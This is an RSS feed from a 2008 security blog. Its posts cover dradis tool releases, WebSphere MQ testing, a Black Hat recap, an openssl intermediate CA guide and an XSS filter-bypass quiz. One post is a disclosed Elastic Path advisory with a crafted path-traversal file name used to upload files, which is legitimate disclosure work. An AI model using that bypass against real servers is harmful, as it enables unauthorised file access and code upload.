<?xml version="1.0" encoding="ISO-8859-15"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>etd's Dos and Dont's &#187; Security</title>
	<atom:link href="http://weblog.nomejortu.com/category/security/feed" rel="self" type="application/rss+xml" />
	<link>http://weblog.nomejortu.com</link>
	<description>specialization is for insects</description>
	<lastBuildDate>Sun, 20 Jul 2008 21:45:15 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.1</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>dradis v1.2 &#8211; now with one-click installer</title>
		<link>http://weblog.nomejortu.com/ruby/dradis-v12-now-with-one-click-installer</link>
		<comments>http://weblog.nomejortu.com/ruby/dradis-v12-now-with-one-click-installer#comments</comments>
		<pubDate>Fri, 13 Jun 2008 10:16:25 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/uncategorized/dradis-v12-now-with-one-click-installer</guid>
		<description><![CDATA[
In adition to the changes released on the 4th of April, yesterday we released a Windows one-click installer for dradis.
The summary of the features of the v1.2 release:

in the client:

export to XML module is now part of the standard module set.
a new implementation of the command line parser: now it is possible to use single [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://dradis.nomejortu.com/download.html#windows"><img style="float: right; border: none; margin: 2ex;" src="/data/img/nsis.png" alt="Windows one-click installer icon" /></a><br />
In adition to the changes released on the 4<sup>th</sup> of April, yesterday we released a Windows <a href="http://dradis.nomejortu.com/download.html#windows">one-click installer</a> for <strong>dradis</strong>.</p>
<p>The summary of the features of the v1.2 release:</p>
<ul>
<li>in the client:
<ul>
<li>export to XML module is now part of the standard module set.</li>
<li>a new implementation of the command line parser: now it is possible to use single and double quotes to pass multi-word arguments to the different commands.</li>
<li>fixed the window.rb:159 bug.</li>
</ul>
</li>
<li>in the server:
<ul>
<li>a slightly less annoying implementation of the web interface <em>auto refresh</em> functionality.</li>
<li>the services added through the web interface can have a name now <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </li>
<li>simple prevention against embedded XSS.</li>
</ul>
</li>
</ul>
<p>You can also download the platform-independent ruby source in the <a href="http://dradis.nomejortu.com/download.html">download</a> section of the site.</p>
<p style="text-align: center;"><a href="http://dradis.nomejortu.com/"><img style="border: none;" src="/data/img/dradis-banner.png" alt="dradis banner. click to go to dradis home" /></a></p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=56&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/dradis-v12-now-with-one-click-installer/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>middleware and me (part 1)</title>
		<link>http://weblog.nomejortu.com/security/middleware-and-me-part-1</link>
		<comments>http://weblog.nomejortu.com/security/middleware-and-me-part-1#comments</comments>
		<pubDate>Tue, 06 May 2008 18:31:11 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/security/middleware-and-me-part-1</guid>
		<description><![CDATA[hack-fu by: rux0r
This post is the first in a series on the subject of enterprise messaging and in particular on IBM&#8217;s flavour of it. The objective of these posts will be to remove some of the confusion about its purpose, the technologies and the methods of securing it. Hopefully this will help both security testers [...]]]></description>
			<content:encoded><![CDATA[<p><strong>hack-fu by</strong>: rux0r</p>
<p>This post is the first in a series on the subject of enterprise messaging and in particular on IBM&#8217;s flavour of it. The objective of these posts will be to remove some of the confusion about its purpose, the technologies and the methods of securing it. Hopefully this will help both security testers and other interested parties to feel confident about this important area of IT security.<br />
<span id="more-49"></span><br />
When it comes to security testing a business application, how comfortable are you? The answer to that question will probably depend on a number of factors including the following: -</p>
<ul>
<li>Is it an internal or external test?</li>
<li>What technologies are involved?</li>
<li>What is the business process the application is used for?</li>
</ul>
<p>Depending on the requirements for testing we might only be asked to look at the web front-end to the application. Or we might be asked to do an internal test of the entire application infrastructure. However, in reality there are lots of business applications that look like the following: -</p>
<p><img src="/data/img/mq_image1_496.png" width="496" height="166" alt="what is between the web server and the database?" /></p>
<p>So why is the big question mark in the middle of the picture? In reality that is a gap in most testing methodologies or in the requirements provided to testers by their clients. In reality the question mark could represent any of the following: -</p>
<ul>
<li>The bit of the process the client didn&#8217;t ask to be tested.</li>
<li>The part of the application I don&#8217;t understand.</li>
<li>The software products and solutions that don&#8217;t appear in books on hacking or security testing.</li>
<li>A cloud through which data passes that I don&#8217;t need to understand.</li>
</ul>
<p>Therefore, if we want to test a business application against its security requirements we have a big black hole. We know what the risks associated with the web application and database are? We know how to test the web server and database but what sits in the middle. In an enterprise environment the answer is usually as follows: -</p>
<p><img src="/data/img/mq_image2_496.png" width="496" height="166" alt="middleware: between the web server and the database" /></p>
<p>So what is this mystical <em>middleware</em> that we hear so much about but never get to see? In the majority of cases it will involve a messaging or transport application whose responsibility it is to get data to the application that needs it. There are lots of such applications available including <a href="http://www.microsoft.com/windowsserver2003/technologies/msmq/default.mspx">Microsoft Message Queuing</a> (MSMQ), <a href="http://www.sun.com/software/products/message_queue/index.xml">Sun Message Queue</a>, <a href="http://www.ibm.com/software/integration/wmq/">IBM Websphere MQ</a> and <a href="http://activemq.apache.org">ActiveMQ</a>.</p>
<p>So if these products exist, how do we test them? Unfortunately I can&#8217;t provide an all encompassing answer for that question, but I can tell you all about one of these products, namely <strong>IBM&#8217;s Websphere MQ</strong>. So whether you are interested in Websphere MQ itself, security testing in general or just the risks associated with messaging applications you should have a read of my new white paper on the subject:<br />
<a href="http://www.mwrinfosecurity.com/publications/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">Websphere MQ Security White Paper</a> (<a href="/data/files/mwri_websphere-mq-security-white-paper-part1_2008-05-06.pdf">mirror #1</a>).</p>
<p>The white paper is the first of a series of documents that I intend to produce on the subject and covers a wide range of issues associated with both the product and messaging applications in general. All audiences are catered for, from those with managerial roles in IT through to integrators and security testers. I hope you find the document interesting and if you would like more information on the subject be sure to check out the slides from my Defcon presentation last year: <a href="http://www.mwrinfosecurity.com/publications/mwri_ibm-mq-security-presentation-defcon15_2007-08-03.pdf">MQ Jumping &#8211; Defcon 15 Presentation</a> (<a href="/data/files/mwri_ibm-mq-security-presentation-defcon15_2007-08-03.pdf">mirror #1</a>).</p>
<p>On the next part of this series of blog posts I will be talking about the security architecture of <strong>Websphere MQ</strong>, stay tuned <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> </p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=49&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/security/middleware-and-me-part-1/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Black Hat Europe 2008</title>
		<link>http://weblog.nomejortu.com/security/black-hat-europe-2008</link>
		<comments>http://weblog.nomejortu.com/security/black-hat-europe-2008#comments</comments>
		<pubDate>Wed, 02 Apr 2008 08:46:02 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=47</guid>
		<description><![CDATA[
I have just arrived from Black Hat Europe 2008 in Amsterdam (this one, not this one). It has been a cool experience, not exactly what I expected but really interesting.
Briefings were held during the 27th and 28th of March, and the presentations are available for download. If you want to see what the chef recommends [...]]]></description>
			<content:encoded><![CDATA[<p style="text-align: center;"><img src='http://weblog.nomejortu.com/wp-content/uploads/2008/04/bh2008.jpg' alt='Black Hat logo' /></p>
<p>I have just arrived from <a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-main.html">Black Hat Europe 2008</a> in Amsterdam (<a href="http://en.wikipedia.org/wiki/Amsterdam">this one</a>, not <a href="http://en.wikipedia.org/wiki/De_Wallen">this one</a>). It has been a cool experience, not exactly what I expected but really interesting.</p>
<p>Briefings were held during the 27<sup>th</sup> and 28<sup>th</sup> of March, and the <a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html">presentations</a> are available for download. If you want to see what the <em>chef</em> recommends just keep reading&#8230; <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_rolleyes.gif' alt=':roll:' class='wp-smiley' /> </p>
<p><span id="more-47"></span></p>
<p>Here is the list of presentations I attended:-</p>
<h3>Day 1</h3>
<ul>
<li>The Keynote by Ian O. Angell: <em>Digital Security: a Risky Business</em>.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Petkov">Client-side Security</a> by Petko D. Petkov.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#DeHaas">Side Channel Analysis on Embedded Systems</a> by Job DeHaas.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Breese">CrackStation</a> by Nick Breese.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Thiel">Exposing Vulnerabilities in Media Software</a> by David Thiel.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Ollam">The Fundamentals of Physical Security</a> by Deviant Ollam.</li>
</ul>
<h3>Day 2</h3>
<ul>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Niemela">Mobile Phone Spying Tools</a> by Jarno Niemela.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Alonso">LDAP Injection &#038; Blind LDAP Injection</a> by Chema Alonso &#038; Jose Parada Gimeo.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Weston">DTRACE: The Reverse Engineer&#8217;s Unexpected Swiss Army Knife</a> by David Weston &#038; Tiller Beauchamp.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#HultonD">Intercepting Mobile Phone/GSM Traffic</a> by David Hulton &#038; Steve.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Thumann">Hacking Second Life</a> by Michael Thumann.</li>
<li><a href="http://www.blackhat.com/html/bh-europe-08/bh-eu-08-archives.html#Temmingh">Investigating Individuals and Organizations Using Open Source Intelligence</a> by Roelof Temmingh &#038; Chris Böhme.</li>
</ul>
<h3>Favourites</h3>
<ol>
<li><strong>Intercepting Mobile Phone/GSM Traffic</strong>. Mind blowing, these guys have been researching the topic for 5 years and they have found a software/hardware combination that makes GSM cracking a piece of cake.</li>
<li>Investigating Individuals and Organizations Using Open Source Intelligence. <a href="http://www.paterva.com/">Paterva</a> is a nice tool, but the most interesting/scary part of the presentation was the little brainstorming session by Roelof Temmingh on how datamining, online presence and the sources of information may evolve in the future.</li>
<li>The Fundamentals of Physical Security. <em>All your locks are belong to us</em>.</li>
</ol>
<p>There were more <em>business</em> people than <em>nerds</em> but more nerds than girls <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' /> . Google was recruiting, Microsoft was nowhere to be seen and there was punch and pie all day long.</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=47&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/security/black-hat-europe-2008/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>howto create an intermediate Certificate Authority (CA) using openssl</title>
		<link>http://weblog.nomejortu.com/networking/howto-create-an-intermediate-certifica-authority-ca-using-openssl</link>
		<comments>http://weblog.nomejortu.com/networking/howto-create-an-intermediate-certifica-authority-ca-using-openssl#comments</comments>
		<pubDate>Thu, 20 Mar 2008 03:05:27 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Networking]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=44</guid>
		<description><![CDATA[What is an Intermediate Certificate Authority (CA) and why do I need one? An Intermediate CA is an authority that you use to create your own SSL certificates in a PKI environment. An Intermediate CA depends on a Root CA that is the origin of the chain of trust. The idea is that if your [...]]]></description>
			<content:encoded><![CDATA[<p>What is an Intermediate Certificate Authority (CA) and why do I need one? An Intermediate CA is an authority that you use to create your own <acronym title="Secure Sockets Layer">SSL</acronym> certificates in a <acronym title="Public Key Infrastructure">PKI</acronym> environment. An Intermediate CA depends on a Root CA that is the origin of the chain of trust. The idea is that if your Intermediate CA gets compromised or you decide to revocate all the certificates issued by it, you can still use your Root CA without further inconvenience for your users (the users only need to have installed the certificate of the Root CA in their browsers).</p>
<p>As for the second question, the sort answer is that chances are that you really do not need one <img src='http://weblog.nomejortu.com/wp-includes/images/smilies/icon_smile.gif' alt=':)' class='wp-smiley' />  but for the shake of the experiment lets get our hands dirty!<br />
<span id="more-44"></span><br />
First of all, I need to clarify that my interest in this topic was also risen by the fact that <a href="http://www.verisign.com/support/verisign-intermediate-ca/index.html">Verisign</a> has switched to a two-tier hierarchy of Certificate Authorities, and this has some implications specially in the configuration of web server software:</p>
<blockquote><p>
&#8220;As of April 2006, all SSL certificates issued by VeriSign require the installation of an Intermediate CA Certificate.  The SSL certificates are signed by an Intermediate CA using a two-tier hierarchy (also known as trust chain) which enhances the security of your SSL Certificate. If the proper Intermediate CA is not installed <strong>on the server</strong>, your customers will see browser errors and may choose not to proceed further and close their browser.&#8221; (<em>boldface is mine</em>)
</p></blockquote>
<p>This means that while the users do not need to modify anything (if their browser already has Verisigns Root CA certificate) the server owners need to ensure that the server is able to provide the so called <em>trust chain</em> to the users&#8217; browser when the SSL handshake is performed.</p>
<p>Never mind, lets get back to it. In order to get your Intermediate CA working, first you need a Root CA (if you already have a CA, feel free to skip the next section). Remember that in order to get this working you need to have a copy of the <a href="http://www.openssl.org/">openssl</a> toolkit installed in your system.</p>
<h3>Configure the Root CA</h3>
<div class="hl-surround" ><div class="hl-main"><pre><span class="hl-identifier">mkdir</span><span class="hl-quotes"> /</span><span class="hl-string">var</span><span class="hl-quotes">/c</span><span class="hl-identifier">a
</span><span class="hl-reserved">cd</span><span class="hl-quotes"> /</span><span class="hl-string">var</span><span class="hl-quotes">/c</span><span class="hl-identifier">a</span><span class="hl-default">/
</span><span class="hl-identifier">mkdir certs crl newcerts private
</span><span class="hl-reserved">echo </span><span class="hl-quotes">&quot;</span><span class="hl-string">01</span><span class="hl-quotes">&quot;</span><span class="hl-default"> &gt; </span><span class="hl-identifier">serial
</span><span class="hl-reserved">cp</span><span class="hl-quotes"> /</span><span class="hl-string">dev</span><span class="hl-quotes">/</span><span class="hl-identifier">null index</span><span class="hl-default">.</span><span class="hl-identifier">txt
</span><span class="hl-comment"># beware that the location of the sample file is dependent on your environment
</span><span class="hl-reserved">cp</span><span class="hl-quotes"> /</span><span class="hl-string">usr</span><span class="hl-quotes">/</span><span class="hl-identifier">lib</span><span class="hl-default">/</span><span class="hl-identifier">ssl</span><span class="hl-default">/</span><span class="hl-identifier">openssl</span><span class="hl-default">.</span><span class="hl-identifier">cnf</span><span class="hl-default"> .</span></pre></div></div>
<p>You may want to modify some of the settings in the configuration file to save you some time in the future when creating the certificates: <em>default_bits</em>, <em>countryName</em>, <em>stateOrProvinceName</em>, <em>0.organizationName_default</em>, <em>organizationalUnitName</em> and <em>emailAddress</em>.</p>
<p>Now you are ready to create the CA:</p>
<div class="hl-surround" ><div class="hl-main"><pre># generate a private key
openssl genrsa -des3 -out private/cakey.key 4096
# create a self-signed certificate valid for 5 years
openssl req -new -x509 -nodes -sha1 -days 1825 -key private/cakey.pem -out cacert.pem
# go for the default values if you adapted the settings in the openssl.cnf file or enter the values you desire</pre></div></div>
<p>Now you have everything you need to run a successful CA. </p>
<h3>Configure an Intermediate CA</h3>
<p>The idea is simple, we will create a new CA following the same template that we used  in the previous section, but this time instead of generating a self-signed certificate we will generate a certificate sign request that we will sign using the Root CA.</p>
<p>First we create the folder structure:</p>
<div class="hl-surround" ><div class="hl-main"><pre>cd /var/ca/
mkdir ca2008
cd ca2008
cp ../openssl.cnf .
mkdir certs crl newcerts private
echo &quot;01&quot; &gt; serial
cp /dev/null index.txt</pre></div></div>
<p>Then the Intermediate CA private key:</p>
<div class="hl-surround" ><div class="hl-main"><pre>#generate the key
openssl genrsa -des3 -out private/cakey.pem 4096
#generate a signing request (valid for 1year)
openssl req -new -sha1 -key private/cakey.pem -out ca2008.csr
# go for the default values if you adapted the settings in the openssl.cnf file or enter the values you desire</pre></div></div>
<p>Move the sign request to the Root CA directory and sign it:</p>
<div class="hl-surround" ><div class="hl-main"><pre>mv ca2008.csr ..
cd ..
openssl ca -extensions v3_ca -days 365 -out ca2008.crt -in ca2008.csr -config openssl.cnf
mv ca2008.* ca2008/
cd ca2008/
mv ca2008.crt cacert.pem</pre></div></div>
<p>And that was it. The next thing to do is start using your Intermediate CA to sign your new certificates. But just before that, remember that<br />
to verify a certificate signed by an Intermediate CA the web browser has to verify both the certificate against the Intermediate CA and the certificate of the Intermediate CA against a Root CA.</p>
<p>In order to allow the browser to do this, a certificate chain file needs to be installed in the server. A certificate chain is a plaintext file that contains all the certificates from the Authority issuing a given certificate up to the Root of the certificate tree. In this case our chain has only two levels and the chain file is created like this:-</p>
<div class="hl-surround" ><div class="hl-main"><pre># first the intermediate CA certificate
cat cacert.pem &gt; chain.crt
# then the Root CA cert
cat ../cacert.pem &gt;&gt; chain.crt</pre></div></div>
<p>This file is the one you need to specify in the <strong>SSLCertificateChainFile</strong> of your server.</p>
<h3>Create a new server certificate</h3>
<div class="hl-surround" ><div class="hl-main"><pre># make sure you are in the Intermediate CA folder and not in the Root CA one
cd /var/ca/ca2008/
# create the private key
openssl genrsa -des3 -out {server_name}.key 4096
# generate a certificate sign request
openssl req -new -key {server_name}.key -out {server_name}.csr  
# sign the request with the Intermediate CA
openssl ca -config openssl.cnf -policy policy_anything -out {server_name}.crt -infiles {server_name}.csr
# and store the server files in the certs/ directory
mkdir certs/{server_name}
mv {server_name}.key {server_name}.csr {server_name}.crt certs/</pre></div></div>
<p>Then you should securely copy the .key and .crt files to the server and configure it to use them.</p>
<h3>Apache server configuration</h3>
<p>Just in case you are using Apache server and for the shake of completeness, these are the settings that you need to modify (possibly in your <tt>extra/http-ssl.conf</tt>):-</p>
<div class="hl-surround" ><div class="hl-main"><pre>SSLCertificateFile /var/ca/ca2008/certs/{server_name}.crt
SSLCertificateKeyFile /var/ca/ca2008/certs/{server_name}.key
SSLCertificateChainFile /var/ca/ca2008/chain.crt</pre></div></div>
<h3>References</h3>
<ul>
<li><a href="http://httpd.apache.org/docs/2.0/ssl/ssl_faq.html">SSL/TLS Strong Encryption: FAQ</a></li>
<li><a href="http://www.onlamp.com/pub/a/onlamp/2003/02/06/linuxhacks.html">Creating Your Own CA</a></li>
<li><a href="http://www.g-loaded.eu/2005/11/10/be-your-own-ca/">Be your own Certificate Authority</a></li>
<li><a href="http://www.sendmail.org/~ca/email/other/cagreg.html">Very brief introduction to create a CA and a CERT</a></li>
</ul>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=44&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/networking/howto-create-an-intermediate-certifica-authority-ca-using-openssl/feed</wfw:commentRss>
		<slash:comments>7</slash:comments>
		</item>
		<item>
		<title>security advisory: Elastic Path Unrestricted Filesystem Access</title>
		<link>http://weblog.nomejortu.com/security/security-advisory-elastic-path-unrestricted-filesystem-access</link>
		<comments>http://weblog.nomejortu.com/security/security-advisory-elastic-path-unrestricted-filesystem-access#comments</comments>
		<pubDate>Mon, 10 Mar 2008 09:27:34 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=37</guid>
		<description><![CDATA[Elastic Path is a popular Java e-commerce platform for building online stores and shopping carts. Elastic Path consists of both a shopping front end where customers can browse and choose the products and a managing backend for administration purposes.
Users of the administrative interface can be granted different levels of access. Research revealed that users with [...]]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.elasticpath.com/">Elastic Path</a> is a popular Java e-commerce platform for building online stores and shopping carts. Elastic Path consists of both a shopping front end where customers can browse and choose the products and a managing backend for administration purposes.</p>
<p>Users of the administrative interface can be granted different levels of access. Research revealed that users with upload/download privileges could abuse them to gain access to arbitrary files in the remote system (read the security advisory &#8211; <a href="http://www.mwrinfosecurity.com/publications/mwri_elastic-path-arbitrary-file-system-access_2008-02-22.pdf">mirror #1</a>, <a href="/data/files/mwri_elastic-path-arbitrary-file-system-access_2008-02-22.pdf">mirror #2</a>).</p>
<p><strong>update</strong>: a link to the patch is available in <a href="http://developer.elasticpath.com/entry!default.jspa?categoryID=4&#038;externalID=1334">Elastic Path Developer&#8217;s site</a> (thanks to <em>d-dub</em>).<br />
<strong>update</strong>: this vulnerability has been assigned the following <acronym title="Common Vulnerabilities and Exposures">CVE</acronym> number: <a href="http://nvd.nist.gov/nvd.cfm?cvename=CVE-2008-1606">CVE-2008-1606</a>.<br />
<span id="more-37"></span></p>
<h3>Arbitrary File Download</h3>
<p>The script used by Elastic Path when the user requests the download of a file was found to be vulnerable to directory traversal attacks. Insufficient validation in the <strong>file</strong> parameter could enable an attacker to download arbitrary files from the remote system.</p>
<h3>Arbitrary File Upload</h3>
<p>The script used by Elastic Path to handle the upload file request was found not to apply sufficient validation to the user input. As a result an attacker could use the <code>importData.jsp</code> file to upload arbitrary files to arbitrary locations in the remote web server.</p>
<p>The input validation filters can be bypassed by submitting a specially crafted file name such as:</p>
<div class="hl-surround" style="height:28px;"><div class="hl-main"><pre>../......Browser.jsp</pre></div></div>
<h3>File System Browse</h3>
<p>Elastic Path provides a script to manage the resource files associated with the products of the shop (<code>fileManager.jsp</code>). Source code inspection revealed that insufficient validation in the <strong>dir</strong> parameter could allow an attacker browse through the contents of arbitrary locations of the remote drive.</p>
<h3>Dependencies</h3>
<p>In order to successfully exploit the attack vector described the user must be logged into the Elastic Path manager application. In addition to this, the logged in user should have download or upload rights to exploit the arbitrary file download and upload vulnerabilities described in this document.</p>
<h3>Recommendations</h3>
<p>It is recommended that all installations of the software be upgraded to a secure version when this is made available by the vendor.</p>
<p>To reduce the level of risk to which users of the software are exposed it is further advised that the application server be run under a system user account with the lowest level of privilege possible.</p>
<p>It is also recommended that, where possible, the Elastic Path manager application should be subject to network level filtering such that only trusted IP addresses can communicate with the service. It should be noted that this is a generic recommendation and is not specific to this technology. </p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=37&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/security/security-advisory-elastic-path-unrestricted-filesystem-access/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>dradis v1.1 is out</title>
		<link>http://weblog.nomejortu.com/ruby/dradis-v11-is-out</link>
		<comments>http://weblog.nomejortu.com/ruby/dradis-v11-is-out#comments</comments>
		<pubDate>Fri, 07 Mar 2008 17:07:19 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=43</guid>
		<description><![CDATA[A new version of dradis, the information sharing tool for security teams, was released on the 29th of February. Some major changes were introduced from the first release back on December:-

New client GUI that runs in Linux, Windows and Mac OS (screenshots).
New web interface.
Improved step-by-step installation instructions.
New contributed modules:

Export your Knowledge Base to an XML [...]]]></description>
			<content:encoded><![CDATA[<p>A new version of <a href="http://dradis.nomejortu.com/">dradis</a>, the information sharing tool for security teams, was released on the 29<sup>th</sup> of February. Some major changes were introduced from the <a href="http://weblog.nomejortu.com/?p=33">first release</a> back on December:-</p>
<ul>
<li>New client GUI that runs in Linux, Windows and Mac OS (<a href="http://dradis.nomejortu.com/screenshots.html">screenshots</a>).</li>
<li>New web interface.</li>
<li>Improved step-by-step installation instructions.</li>
<li>New contributed modules:
<ul>
<li>Export your <em>Knowledge Base</em> to an XML file.</li>
<li>run <a href="http://nmap.org/">nmap</a> from <strong>dradis</strong> and store the results in the knowledge base.</li>
</ul>
</li>
</ul>
<p>If you want to give it a try, go to the <a href="http://dradis.nomejortu.com/download.html">download</a> page. And please let me know any thoughts or feedback (remember that you can use the dradis development mailing list: <a href="https://lists.sourceforge.net/lists/listinfo/dradis-devel">dradis-devel</a>).<br />
<span id="more-43"></span></p>
<h3>New client GUI</h3>
<p>It was too difficult to get the Qt interface running in Windows and Mac platforms, so we have decided to create a new graphical interface, this time truly multi-platform using the <a href="http://www.wxwidgets.org/">WxWdiget</a> toolkit (and the ruby bindings for the toolkit: <a href="http://wxruby.rubyforge.org/">wxruby</a>). </p>
<p>It runs seamlessly in Linux, Windows and Mac OS. Here are some screenshots:-</p>
<p><img src="/data/img/client_v1.1_02_blog.png" width="436" height="238"/></p>
<p><img src="/data/img/client_v1.1_05_blog.png" width="436" height="377"/></p>
<p>If you want to see more, visit the <a href="http://dradis.nomejortu.com/screenshots.html">screenshots</a> page.</p>
<h3>New web interface.</h3>
<p>Because we were struggling to get the old interface running in anything different than Linux, we thought that in order to make the platform more <strong>flexible</strong> and <strong>portable</strong> a new web interface should be created.</p>
<p>We took the old one apart and started a brand new dynamic web interface that would enable the testers to use <strong>dradis</strong> as if they had a thick client installed. The <a href="http://dradis.nomejortu.com/screenshots.html">screenshots</a> page will give you a grasp of its power.</p>
<h3>New contributed modules</h3>
<p>Some new amazing plugins contributed by the <strong>dradis</strong> community were released with version v1.1:-</p>
<ul>
<li>Export your <em>Knowledge Base</em> to an XML file.</li>
<li>run <a href="http://nmap.org/">nmap</a> from <strong>dradis</strong> and store the results in the knowledge base.</li>
</ul>
<p>Find these and other modules in the <a href="http://dradis.nomejortu.com/contribute.html">discuss &amp; contribute</a> section.</p>
<p>There is also a new set of slides by Sibert Lubbe on <em>&#8220;<strong>dradis</strong> plugin programming&#8221;</em>. Find them in the <em>developer manual</em> section of the <a href="http://dradis.nomejortu.com/documentation.html">documentation</a> page.</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=43&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/ruby/dradis-v11-is-out/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>security quiz: input validation bypass</title>
		<link>http://weblog.nomejortu.com/security/security-quiz-input-validation-bypass</link>
		<comments>http://weblog.nomejortu.com/security/security-quiz-input-validation-bypass#comments</comments>
		<pubDate>Fri, 22 Feb 2008 01:59:41 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=42</guid>
		<description><![CDATA[From The Web Application Hackers Handbook a quick quiz:

An input validation mechanism designed to block cross-site scripting attacks performs the following sequence of steps on an item of input:
1.- strip any &#60;script&#62; expressions that appear
2.- truncate the input to 50 characters
3.- remove any quotation marks within the input
4.- url-decode the input
5.- if any items were [...]]]></description>
			<content:encoded><![CDATA[<p>From <a href="http://www.amazon.co.uk/gp/redirect.html?ie=UTF8&#038;location=http%3A%2F%2Fwww.amazon.com%2FWeb-Application-Hackers-Handbook-Discovering%2Fdp%2F0470170778&#038;tag=etsdoandos-21&#038;linkCode=ur2&#038;camp=1634&#038;creative=6738">The Web Application Hackers Handbook</a><img src="http://www.assoc-amazon.co.uk/e/ir?t=etsdoandos-21&amp;l=ur2&amp;o=2" width="1" height="1" border="0" alt="" style="border:none !important; margin:0px !important;" /> a quick quiz:</p>
<blockquote><p>
An input validation mechanism designed to block cross-site scripting attacks performs the following sequence of steps on an item of input:</p>
<p>1.- strip any &lt;script&gt; expressions that appear<br />
2.- truncate the input to 50 characters<br />
3.- remove any quotation marks within the input<br />
4.- url-decode the input<br />
5.- if any items were deleted, return to step 1
</p></blockquote>
<p>how would you bypass it?</p>
<img src="http://weblog.nomejortu.com/?ak_action=api_record_view&id=42&type=feed" alt="" />]]></content:encoded>
			<wfw:commentRss>http://weblog.nomejortu.com/security/security-quiz-input-validation-bypass/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>sql injection: inference attack (part 2)</title>
		<link>http://weblog.nomejortu.com/ruby/sql-injection-inference-attack-part-2</link>
		<comments>http://weblog.nomejortu.com/ruby/sql-injection-inference-attack-part-2#comments</comments>
		<pubDate>Sun, 27 Jan 2008 10:31:36 +0000</pubDate>
		<dc:creator>etd</dc:creator>
				<category><![CDATA[Ruby]]></category>
		<category><![CDATA[Security]]></category>

		<guid isPermaLink="false">http://weblog.nomejortu.com/?p=36</guid>
		<description><![CDATA[In the previous article of this series (sql injection: inference attack) we saw an in introduction to the concept of SQL inference attacks. On security advisory: Plogger Photo Gallery SQL Injection we saw that the Plogger Photo Gallery SQL injection vulnerability was an ideal scenario to study SQL inference attacks.
Now it&#8217;s time to see a [...]]]></description>
